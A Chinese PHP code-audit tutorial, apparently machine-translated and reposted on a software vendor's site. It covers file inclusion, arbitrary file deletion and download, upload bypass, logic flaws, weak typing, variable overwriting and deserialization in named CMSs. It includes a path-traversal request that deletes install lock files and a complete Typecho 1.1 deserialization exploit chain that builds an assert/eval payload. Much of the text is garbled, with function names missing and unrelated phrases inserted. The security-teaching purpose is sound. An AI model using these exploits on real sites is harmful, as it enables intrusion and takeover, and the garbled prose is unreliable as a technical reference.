你好,歡迎進(jìn)入江蘇優(yōu)軟數(shù)字科技有限公司官網(wǎng)!
發(fā)布時(shí)間:2023-10-31
瀏覽次數(shù):0
ftp:// — 訪問(wèn) FTP URL
php:// — 訪問(wèn)各種輸入/輸出流 (I/O)
zlib:// — 壓縮流
數(shù)據(jù):// — 數(shù)據(jù) (RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 存檔
ssh2:// — 外殼 2
rar:// — RAR
ogg:// — 音頻流
:// — 處理交互流
網(wǎng)上有很多各種偽協(xié)議的使用方法,請(qǐng)自行搜索。
實(shí)際審計(jì)
直接看首頁(yè)index.php
//單一入口模式
error_reporting(0); //關(guān)閉錯(cuò)誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等于index
include('files/'.$action.'.php'); //載入相應(yīng)文件
?>
它將包含文件目錄中的文件。 因?yàn)樗贿^(guò)濾../,所以它可以包含任何目錄中的文件。 由于添加了后綴,因此該漏洞存在于較低版本的PHP中。
0x01 刪除任意文件
一般來(lái)說(shuō),我們?cè)趯徲?jì)任意文件刪除的時(shí)候,都是先搜索函數(shù),然后再回看。
inc\\.php
首先判斷傳入?yún)?shù)是否為空,然后進(jìn)行路徑拼接。 第516行出現(xiàn)了一個(gè)函數(shù),我們繼續(xù)跟進(jìn)。
這只是一個(gè)簡(jiǎn)單的判斷。 沒(méi)有特殊情況。 我們來(lái)看看如何調(diào)用這個(gè)文件。
function file_path( $path ) {
$list=array();
$path= substr( $path, 0, strrpos( $path, '/' ));
$list=splits($path,'/');
return $list;
}
function arr_search($arr1, $arr2 ) {
$result=false;
foreach ( $arr1 as $v ) {
if(in_array( $v,$arr2 )) return true;
}
return $result;
}
獲取參數(shù),然后看我們傳入的路徑是否包含這個(gè)數(shù)組中的值,那就說(shuō)明基本沒(méi)有過(guò)濾,因?yàn)槲覀兛梢酝ㄟ^(guò)../跳回來(lái)。
:
POST?/zzzp6p/admin/save.php?act=delfile
path=/zzzp6p/upload/../install/1install.lock
這里我們走的下面的分支不能刪除 array( 'php', 'db', 'mdb', 'tpl' )
這個(gè)數(shù)組的文件。
要?jiǎng)h除任何文件只需使用
path=/zzzp6p/runtime/../install/1.db
只要讓 () 為 true 并取上面的分支即可。
一般來(lái)說(shuō),我們通過(guò)刪除任意文件結(jié)合刪除.lock來(lái)實(shí)現(xiàn)網(wǎng)站重裝漏洞。
0x02 任意文件下載
任意文件下載在顯示和下載文件的地方很常見(jiàn)。 一般來(lái)說(shuō),關(guān)注的文件與下載有關(guān),例如。 當(dāng)然,你也可以構(gòu)建源代碼,找到可以下載的地方。
常用下載或讀取函數(shù):()、()、fopen()
在網(wǎng)上找到個(gè)別審核的例子,并結(jié)合起來(lái)進(jìn)行審核。 使用的源代碼是TF8
搜索與down相關(guān)的單詞,找到文件\\\\\\\\down.php
讓我們看看 $file 參數(shù)來(lái)自哪里。 首先我們調(diào)用(),去函數(shù)中查看
毫不奇怪,路徑應(yīng)該從數(shù)據(jù)庫(kù)中讀取。 我們來(lái)看看()函數(shù)。
構(gòu)建下載地址沒(méi)有任何問(wèn)題。 我們看看在存儲(chǔ)地址的表中插入了哪些數(shù)據(jù),并搜索表名lyric。
\\\\用戶(hù)\\音樂(lè)\\ajax.php
我們看到 $lyric 通過(guò)了。 要清理這兩個(gè)函數(shù),我們首先進(jìn)入函數(shù)。
我們傳入的模式是get,然后轉(zhuǎn)義()之后,我們就將其替換為空,也就是說(shuō)我們基本上不能使用\\\\。 讓我們來(lái)看看。
這里的正則表達(dá)式匹配我們的
.\\
?=
.php?
這里完全不明白,匹配的后綴是php? 這有什么意義呢? 只要php就可以繞過(guò)它。
所以總而言之,不要包含 \\ 和 ./。 這里我們只需要傳入絕對(duì)路徑即可。
登錄前臺(tái)找到上傳歌曲的頁(yè)面,插入歌詞地址即可。
:
D:/phpstudy/PHPTutorial/WWW/Ear_Music/template/default/source/down.php
0x03 文件上傳
文件上傳只有一個(gè)函數(shù)()。 一般來(lái)說(shuō),我們可以搜索這個(gè)函數(shù)進(jìn)行回溯,看看它的驗(yàn)證方式,是黑名單還是白名單,是不是前端限制,是不是簡(jiǎn)單的驗(yàn)證文件頭,是不是可以繞過(guò)正則匹配,圖像是否被渲染。
結(jié)合審核文件上傳和全局搜索
\\\\inc\\.php
回溯一下這個(gè)函數(shù)是在哪里被調(diào)用的
使用asa可以繞過(guò)典型的黑名單驗(yàn)證,只需在后臺(tái)添加此擴(kuò)展即可
只需上傳即可。 當(dāng)然,你也可以使用上圖中的分支。 只要傳入的類(lèi)型不是他的類(lèi)型,就可以跳過(guò)后臺(tái)添加的步驟。
0x04 文章結(jié)束
文件操作也見(jiàn)于寫(xiě)入其他配置文件,通常是緩存文件寫(xiě)入。
0x06 邏輯漏洞審計(jì) 0x00 簡(jiǎn)介
邏輯漏洞是指由于程序邏輯松散或功能使用不當(dāng)而導(dǎo)致的越權(quán)訪問(wèn)、繞過(guò)、越權(quán)修改密碼、重復(fù)安裝等問(wèn)題。 一般邏輯漏洞的挖掘需要一定的代碼閱讀能力。
0x01 越權(quán)
越權(quán)通常是由于驗(yàn)證不嚴(yán)或沒(méi)有驗(yàn)證造成的。 一般情況下,當(dāng)我們對(duì)后端進(jìn)行審計(jì),發(fā)現(xiàn)某個(gè)功能沒(méi)有包含驗(yàn)證文件時(shí),那么就很有可能發(fā)生權(quán)限越權(quán)的情況。 當(dāng)然,權(quán)限越權(quán)存在很多問(wèn)題,不僅僅局限于一種后端訪問(wèn)。
很多大型網(wǎng)站經(jīng)常會(huì)出現(xiàn)權(quán)限覆蓋的問(wèn)題。 這也是大家在漏洞挖掘中比較喜歡的。 有些覆蓋可能在黑盒測(cè)試中更容易找到,所以靈活地使用代碼審計(jì),不要限制你的想法。
超聲是一個(gè)很大的話題。 我可能不能說(shuō)太多,但我想請(qǐng)大家多看一些文章。
1、后臺(tái)越權(quán):后臺(tái)部分頁(yè)面不引入驗(yàn)證文件
比如我們這里在雄海cms中刪除這個(gè)驗(yàn)證,就可以直接訪問(wèn)這個(gè)頁(yè)面了。 許多程序員會(huì)忘記將其添加到每個(gè)頁(yè)面。
2. 橫向未授權(quán)訪問(wèn):用戶(hù)試圖訪問(wèn)與自己具有相同權(quán)限的用戶(hù)的資源。 例如,在沒(méi)有驗(yàn)證權(quán)限的情況下刪除收獲地址會(huì)導(dǎo)致未經(jīng)授權(quán)刪除其他人的地址。
我們用這個(gè)程序來(lái)演示\\form\\index.php
他在這里并沒(méi)有超越他的權(quán)限。 我這里只是解釋一下,簡(jiǎn)單介紹一下如果他越權(quán)了怎么進(jìn)行審計(jì)。 我們看到這段代碼的最后一步是修改我們的uid的當(dāng)前值,而我們的uid是從POST包中獲取的。 也就是說(shuō),如果我們能夠控制uid,那么我們就可以在未經(jīng)許可的情況下修改別人的信息。 但是有一個(gè)驗(yàn)證 $uid !=('uid') and back('抱歉,數(shù)據(jù)修改失敗'); 所以沒(méi)有辦法超越權(quán)限。 為了演示,我們可以將其刪除并看一下。
UID為1的用戶(hù)信息已成功修改。
3. 垂直覆蓋:低級(jí)別用戶(hù)嘗試訪問(wèn)高級(jí)別用戶(hù)的功能。
0x02 驗(yàn)證不嚴(yán)格
這里使用的是雄海CMS。 我們隨意點(diǎn)擊一個(gè)后臺(tái)頁(yè)面,里面有一個(gè)驗(yàn)證文件。
'../inc/.php'; 我們來(lái)看看這個(gè)文件
判斷我們的用戶(hù)是否為空。 如果不為空,我們就可以訪問(wèn)后端了。
0x03 安裝程序邏輯問(wèn)題
找了很久源碼,發(fā)現(xiàn)紅日安全已經(jīng)寫(xiě)了一個(gè)——Log1.6,所以這里就用他的源碼。
這里他判斷是否安裝,然后直接跳轉(zhuǎn)到主頁(yè)。 如果程序不退出,那么后續(xù)的程序仍然可以執(zhí)行,也就是說(shuō)后續(xù)的程序可以直接通過(guò)post方式安裝。
這種錯(cuò)誤退出導(dǎo)致的漏洞還是蠻多的,大家可以在后臺(tái)等地方密切關(guān)注。
0x04 文章結(jié)束
當(dāng)然,邏輯漏洞不僅限于這些。 還存在繞過(guò)驗(yàn)證碼邏輯、功能缺陷等問(wèn)題。 我建議您閱讀更多其他人的審計(jì)文章。
0x007 函數(shù)或弱類(lèi)型的缺陷和特征 0x00 ()
(,array,type) 如果給定值存在于數(shù)組 array 中,則返回 true。 如果第三個(gè)參數(shù)設(shè)置為 true,則僅當(dāng)該元素存在于數(shù)組中并且具有與給定值相同的數(shù)據(jù)類(lèi)型時(shí),該函數(shù)才返回 true。 如果在數(shù)組中未找到該參數(shù),則該函數(shù)返回 false。
那么為什么會(huì)出現(xiàn)安全問(wèn)題呢? 我們看一下下面的代碼
如果不設(shè)置第三個(gè)參數(shù),()函數(shù)會(huì)將1和1=1轉(zhuǎn)換成數(shù)字1進(jìn)行比較。 這會(huì)導(dǎo)致一些安全問(wèn)題,在注入或上傳的情況下可能會(huì)被繞過(guò)。
0x01()
() 函數(shù)將判斷變量是數(shù)字還是數(shù)字串。 如果我們傳入的字符串是十六進(jìn)制,那么它也將被視為數(shù)字。
我們知道,當(dāng)我們向mysql中插入數(shù)據(jù)時(shí),可以是十六進(jìn)制的。 取出來(lái)后又會(huì)恢復(fù)原來(lái)的字符串。 這樣,使用()函數(shù)檢測(cè)后,就有可能出現(xiàn)二次注入。
0x02 PHP弱類(lèi)型特征
PHP 是一種弱類(lèi)型語(yǔ)言。 使用==比較字符串時(shí),會(huì)將字符串類(lèi)型轉(zhuǎn)為相同類(lèi)型再進(jìn)行比較,這也會(huì)帶來(lái)一些問(wèn)題。
當(dāng)它在字符串中遇到0e和0x時(shí),就會(huì)解析成相應(yīng)的科學(xué)計(jì)數(shù)法和十六進(jìn)制。
0x03()
當(dāng)case為數(shù)值類(lèi)型時(shí),參數(shù)將轉(zhuǎn)換為int類(lèi)型。
0x04()
比較函數(shù)如果兩者相等則返回0,>返回>0,否則小于0。在PHP 5.3及更高版本中,當(dāng)()括號(hào)位于數(shù)組和字符串之間時(shí),也會(huì)返回0。
0x05()
如果在進(jìn)行正則表達(dá)式匹配時(shí)沒(méi)有對(duì)字符串的開(kāi)頭和結(jié)尾(^和$)進(jìn)行限制,則可能會(huì)出現(xiàn)繞過(guò)問(wèn)題。
0x06 文章結(jié)束
當(dāng)然還有反序列化、變量覆蓋等,這里就不一一寫(xiě)了。 我會(huì)分別寫(xiě)。 還有一些功能特點(diǎn)大家可以自行搜索。
0x008 變量覆蓋率審計(jì) 0x00 簡(jiǎn)介
變量覆蓋,顧名思義,可以覆蓋現(xiàn)有的變量值。 導(dǎo)致變量覆蓋的漏洞包括:
()、()、bles()使用不當(dāng),或者使用了$$或者啟用了全局變量注冊(cè)。
0x01 變量覆蓋演示
()
(array,,)函數(shù)將數(shù)組中的變量導(dǎo)入到當(dāng)前符號(hào)表中,即將數(shù)組中的鍵值對(duì)注冊(cè)為函數(shù),以數(shù)組鍵名作為變量名,以數(shù)組鍵值作為變量值。
可以看到我們的初始變量值為a,但是覆蓋后它就變成了我們輸入的值。
()
() 函數(shù)用于將查詢(xún)字符串解析為變量。 如果沒(méi)有數(shù)組參數(shù),則該函數(shù)設(shè)置的變量將覆蓋現(xiàn)有的同名變量。 使用不帶數(shù)組參數(shù)的函數(shù),不設(shè)置參數(shù)的行為將在 PHP 7.2 中被棄用。 該函數(shù)沒(méi)有返回值。
布萊斯()
bles ($types, $) 將 GET/POST/ 變量導(dǎo)入全局范圍。 types參數(shù)指定需要導(dǎo)入的變量。 G代表GET,P代表POST,C代表。 該函數(shù)只能在PHP4.1~PHP5.4中使用。
$$
一個(gè)典型的例子就是將數(shù)組中的值作為變量進(jìn)行迭代。
$_key的值為a,則$a的值被覆蓋為2。
還有全局注冊(cè),PHP配置默認(rèn)關(guān)閉。
0x02 實(shí)際審核
這次用的就是cms的可變覆蓋漏洞。 按照主頁(yè)查看核心配置文件。
\\\\.inc.php
看該文件的第24行到28行,很明顯使用了我們上面提到的&&變量覆蓋方式,只不過(guò)這里他用了()來(lái)防止注入,不過(guò)并不影響我們本章講的知識(shí)。
只需轉(zhuǎn)到一個(gè)子文件,看看它是如何加載的 \\news\\index.php
第7行包含一個(gè)變量,那么這個(gè)變量在哪里呢? 我們來(lái)跟進(jìn)一下。
/.php 查看并在該文件中搜索 $。
其實(shí)這里低版本的源碼中并不存在$=''這句話; $變量都在$!=7的if條件下。 我給你打包的就是低版本的,我安裝錯(cuò)了。就是說(shuō)只要我們傳入的$的值為7,那么我們就可以覆蓋$的值
只需上傳一張圖片或其他文件即可包含它,因?yàn)樗暮缶Y當(dāng)時(shí)尚未確定。
覆蓋變量時(shí),一定要注意初始化值和覆蓋的順序。
0x009 反序列化審計(jì) 0x00 簡(jiǎn)介
PHP 反序列化漏洞。 當(dāng)我們使用()進(jìn)行反序列化時(shí),如果反序列化的對(duì)象中有一些我們可以使用的魔法函數(shù),并且傳入的變量是可控的,那么這個(gè)過(guò)程就可能會(huì)觸發(fā)這個(gè)魔法函數(shù)。 來(lái)執(zhí)行我們想要的過(guò)程。
0x01 初識(shí)反序列化
對(duì)于反序列化,我們需要了解 PHP 類(lèi)和魔術(shù)方法。 這是一個(gè)簡(jiǎn)單的例子。 使用的神奇方法是在銷(xiāo)毀類(lèi)之前執(zhí)行析構(gòu)函數(shù)方法。
創(chuàng)建對(duì)象時(shí)打印我們的$a變量的值。然后我們改變它的值并使用()來(lái)看看
O:4:"test":1:{s:1:"a";s:5:"12345";} 就是我們序列化的值,然后
($_GET['id']); 傳入我們改變的值 O:4:"test":1{s:1:"a";s:3:"404";} 成功打印了我們改變的值,因?yàn)榉葱蛄谢覀兛梢钥刂祁?lèi)屬性和這個(gè)過(guò)程就會(huì)觸發(fā)這些可以觸發(fā)的魔法方法。
您可以在互聯(lián)網(wǎng)上找到一些神奇的方法。 當(dāng)然,也有一些是可以繞過(guò)的。 請(qǐng)搜索他們。 我這里就不詳細(xì)說(shuō)了。 具體情況我會(huì)具體分析。 比較困難的反序列化還是需要很大的耐心才能完成。
__wakeup() //使用unserialize時(shí)觸發(fā)
__sleep() //使用serialize時(shí)觸發(fā)
__destruct() //對(duì)象被銷(xiāo)毀時(shí)觸發(fā)
__call() //在對(duì)象上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__callStatic() //在靜態(tài)上下文中調(diào)用不可訪問(wèn)的方法時(shí)觸發(fā)
__get() //用于從不可訪問(wèn)的屬性讀取數(shù)據(jù)
__set() //用于將數(shù)據(jù)寫(xiě)入不可訪問(wèn)的屬性
__isset() //在不可訪問(wèn)的屬性上調(diào)用isset()或empty()觸發(fā)
__unset() //在不可訪問(wèn)的屬性上使用unset()時(shí)觸發(fā)
__toString() //把類(lèi)當(dāng)作字符串使用時(shí)觸發(fā)
__invoke() //當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)
0x02 一個(gè)簡(jiǎn)單的問(wèn)題
下面我改寫(xiě)了一個(gè)簡(jiǎn)單的CTF,看看如何使用。
class foo1{
public $varr;
function __destruct(){
$this->varr->evaltest();
}
}
class foo2{
public $str;
function evaltest(){
eval($this->str);
}
}
?>
我們看到eval存在于foo2中的()函數(shù)中,并且在foo1中調(diào)用了()函數(shù)。 我們想知道foo1是否可以調(diào)用foo2中的()函數(shù)并重寫(xiě)其$str中的值。
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
class foo2{
public $str;
function __construct(){
$this->str = 'phpinfo();';
}
}
$obj = new foo1();
echo serialize($obj);
?>
我們將 $varr 變量分配給 new foo2(),然后它調(diào)用 () 函數(shù),然后我們將 $str 的值更改為我們想要執(zhí)行的命令。
0x03 實(shí)例審計(jì)
找了半天源碼,覺(jué)得最有意義、審核最多的反序列化漏洞就是.1版本漏洞。 看起來(lái)可能有點(diǎn)困難,所以我會(huì)嘗試更詳細(xì)地分析它。
來(lái)到.php文件
我們看到,要繞過(guò).php程序的退出,我們只需要傳入一個(gè)不為空的值,并且是這個(gè)站點(diǎn)的值。
我們來(lái)到核心部分
這里調(diào)用了類(lèi)的get方法。 這里我就不跟進(jìn)了。 就是獲取到的字段值,然后將()反序列化,賦值給變量$。 然后我們?nèi)炙阉?,沒(méi)有找到可以使用的魔法方法之類(lèi)的。 觀點(diǎn)。
然后我們跟進(jìn)這個(gè)類(lèi),看到它傳入了$['']和$['']。
var\\\\Db.php
如果你使用 . 將 $ 連接到一個(gè)類(lèi), () 魔術(shù)方法將被觸發(fā)。
然后全局搜索()看看哪里可以使用,找到\\var\\\\Feed.php。
如果 $item[''] 是一個(gè)類(lèi)并且是私有或未定義的屬性,則會(huì)自動(dòng)觸發(fā) __get() 。
然后我們搜索一下是否有__get()可以使用
var\\\\.php中有這么一個(gè)地方
我把所有后續(xù)代碼放在一起。 __get 調(diào)用 get() 函數(shù),然后調(diào)用 () 函數(shù)。 還有一個(gè)回調(diào)函數(shù)可以導(dǎo)致命令被執(zhí)行。
()和()的參數(shù)還是可以控制的,這樣我就完成了攻擊鏈的查找。 下面我們來(lái)梳理一下。
攻擊鏈:
install.php
|
繞過(guò)程序退出來(lái)到unserialize()
|
db.php中__construct() 觸發(fā)__toString()
|
Feed.php中__toString觸發(fā)__get()
|
request.php中__get()調(diào)用get()->_applyFilter()->回調(diào)函數(shù)
下面我們來(lái)構(gòu)造exp。 為了方便理解,我們可以從頭到尾寫(xiě)下來(lái)。
首先,我們需要 $in 的值是一個(gè)命令函數(shù)。 這里我們一般選擇(),然后我們需要get()中的$value是我們傳入的命令,也就是[''],所以可以這樣構(gòu)造。
class Typecho_Request
{
private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')');
private $_filter = array('assert');
}
request.php
構(gòu)造完了再構(gòu)造Feed.php
中需要的值,這里我們要進(jìn)入$item
['author']->screenName
這個(gè)前面有個(gè)self::RSS2 == $this->_type
語(yǔ)句 RSS2= RSS 2.0所以賦值對(duì)應(yīng)的,這里的調(diào)用跟我前面寫(xiě)的那個(gè)CTF類(lèi)似。
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items ;
public function __construct (){
$this->_items[] = array('author' => new Typecho_Request());
}
}
最后,當(dāng)我返回.php時(shí),我看到 $db=($[''],$['']); db.php中的()需要傳入2個(gè)值,但默認(rèn)有一個(gè),所以我們傳入一個(gè)像上面我們序列化的值一樣的值就可以了。
:
class Typecho_Request
{
private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')');
private $_filter = array('assert');
}
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items ;
public function __construct (){
$this->_items[] = array('author' => new Typecho_Request());
}
}
$payload = array('adapter'=>new Typecho_Feed());
echo base64_encode(serialize($payload));
?>
為什么();exit();中有exit()? 因?yàn)槌绦蜷_(kāi)始使用()函數(shù)將輸出放入緩沖區(qū)。 觸發(fā)異常后,()會(huì)清空緩沖區(qū),導(dǎo)致沒(méi)有回顯。 所以我們可以找一個(gè)函數(shù)跳出,或者執(zhí)行完后報(bào)錯(cuò)跳出,或者寫(xiě)一句不回顯。
這種類(lèi)型的反序列化通常很難找到。 我個(gè)人覺(jué)得從兩端向中間查找比較容易,找到可以使用的入口,然后找到可以使用的功能,然后找到一條從入口點(diǎn)到使用點(diǎn)的路。
0x04 文章結(jié)束
反序列化還可以與.php注入等注入結(jié)合起來(lái)。
0x010 閱讀全文審核 0x00 簡(jiǎn)介
閱讀全文后,我建議您開(kāi)始審核一些更容易理解的 CMS。 我們先看一下網(wǎng)站的總體框架。 說(shuō)到這里你大概知道哪些文件夾包含哪些類(lèi)型的文件了。 然后從index.php文件開(kāi)始讀取,重點(diǎn)關(guān)注是否有全局過(guò)濾等。
0x01 實(shí)例審計(jì)
本文使用的源碼是我們通過(guò)這個(gè)程序來(lái)大致了解一下如何通讀全文代碼進(jìn)行審計(jì)。 我們這里只做簡(jiǎn)單的分析,不做深入的審核。
了解網(wǎng)站框架
├─admin //后臺(tái)
├─config //配置文件
├─form //前臺(tái)
├─images //圖片
├─inc //包含文件
├─install //安裝文件
├─js //js文件
├─plugins //插件
├─runtime //臨時(shí)
├─search //搜索
├─template //模板
├─upload //上傳文件夾
└─wap //手機(jī)
首先我們看到這個(gè)結(jié)構(gòu)。 任何有一點(diǎn)審計(jì)背景或懂一點(diǎn)英語(yǔ)的人都應(yīng)該能夠理解這些目錄的含義。 當(dāng)然,也有一些程序員喜歡不同的命名規(guī)則。 一般情況是這樣的。
了解網(wǎng)站過(guò)濾和路由
我認(rèn)為閱讀全文并不是浪費(fèi)時(shí)間,而是浪費(fèi)時(shí)間。 我們一般應(yīng)該先閱讀它的核心文件,這些文件通常位于文件夾中。 如何找到核心文件通常取決于文件名,例如main.c。 等等,你還可以看看文件大小。 一般來(lái)說(shuō),core文件包含的函數(shù)較多,且比較大。 也可以通過(guò)入口文件一步步看。 例如,這里的核心文件是.php。 我們只關(guān)注先獲取參數(shù)以及是否有全局過(guò)濾器。
我們來(lái)到\\inc\\.php
() 解析網(wǎng)址
() 獲取參數(shù)
過(guò)濾函數(shù)()但通常過(guò)濾函數(shù)會(huì)包含一些字符如safe或()()
了解系統(tǒng)DB類(lèi)
除了這個(gè)文件之外,我們還可以查看mysql db等關(guān)鍵字文件,看看它的數(shù)據(jù)庫(kù)連接方式是否存在寬字節(jié)注入的可能性,以及它的連接方式。
開(kāi)始審核
讀完這個(gè),我們就可以從index.php中一層一層的讀取了。
轉(zhuǎn)到index.php并直接包含文件inc/.php。 先判斷,后執(zhí)行。
見(jiàn)最后一句(G('sid'),G('cid')); 這里調(diào)用了()函數(shù),我們可以跟進(jìn)看一下。
輸入 if 分支
if ( $sid > 0 ) {
$data = db_load_one( 'sort', 'sid=' . $sid );
跟進(jìn)函數(shù)db_load_one()
這里會(huì)把傳入的&替換為and
跟隨函數(shù)()
這里不再贅述,只介紹一下思路。 基本上我確信如果傳入的參數(shù)不經(jīng)過(guò)過(guò)濾的話,這里就會(huì)有注入。
這里如果你跟蹤G(),你會(huì)發(fā)現(xiàn)它是通過(guò)$['sid']獲取的,即前面解析的URL獲取到的值沒(méi)有被過(guò)濾,所以這基本上是一次注入。
讀完這些文件后,我們可以從各個(gè)函數(shù)文件夾的索引中讀取它們。 例如,這里我們來(lái)到\\\\index.php
define('LOCATION', 'search');
require dirname(dirname(__FILE__)). '/inc/zzz_client.php';
我們回到剛才跟進(jìn)的文件/inc/.php,搜索關(guān)鍵詞
然后閱讀源碼分析
case 'search':
$tplfile= TPL_DIR . 'search.html';
break;
看到選擇后,值被賦值給變量$,然后我們正在跟蹤變量在哪里
被稱(chēng)為
我找到了解析模板的過(guò)程,然后順著它到了inc\\.php并閱讀下面找到了一個(gè)函數(shù)()
()函數(shù)獲得過(guò)濾器后,同樣經(jīng)過(guò)()函數(shù)過(guò)濾,但是下面有一個(gè)函數(shù)好像也是獲得參數(shù),不過(guò)這個(gè)使用了函數(shù)isset(),這是一個(gè)檢測(cè)變量的函數(shù)。 如果定義了,那就是true,所以你根本進(jìn)不去這里,否則就是注入了。 當(dāng)然,這也是舊版本的注入。 我這里的版本已經(jīng)修復(fù)了。 接下來(lái)sublime text 3 函數(shù)追蹤,你可以從admin的index.php開(kāi)始閱讀sublime text 3 函數(shù)追蹤,多關(guān)注一些功能點(diǎn)。 建議構(gòu)建它并熟悉整個(gè)程序。
0x02 文章結(jié)束
通過(guò)讀到這里我們可以知道,他調(diào)用()函數(shù)的時(shí)候我們基本上不考慮注入,因?yàn)橐呀?jīng)被過(guò)濾了,除非后面有其他函數(shù)處理。 在調(diào)試復(fù)雜語(yǔ)句時(shí),我們可以使用mysql監(jiān)控軟件來(lái)調(diào)試。 當(dāng)我們發(fā)現(xiàn)某個(gè)類(lèi)型的函數(shù)或者編寫(xiě)方法存在漏洞時(shí),我們可以利用全文檢索的方式找到相同的代碼,對(duì)該類(lèi)型進(jìn)行完整的挖掘。
結(jié)尾。
歡迎轉(zhuǎn)發(fā)~
如有侵權(quán)請(qǐng)聯(lián)系刪除!
Copyright ? 2023 江蘇優(yōu)軟數(shù)字科技有限公司 All Rights Reserved.正版sublime text、Codejock、IntelliJ IDEA、sketch、Mestrenova、DNAstar服務(wù)提供商
13262879759
微信二維碼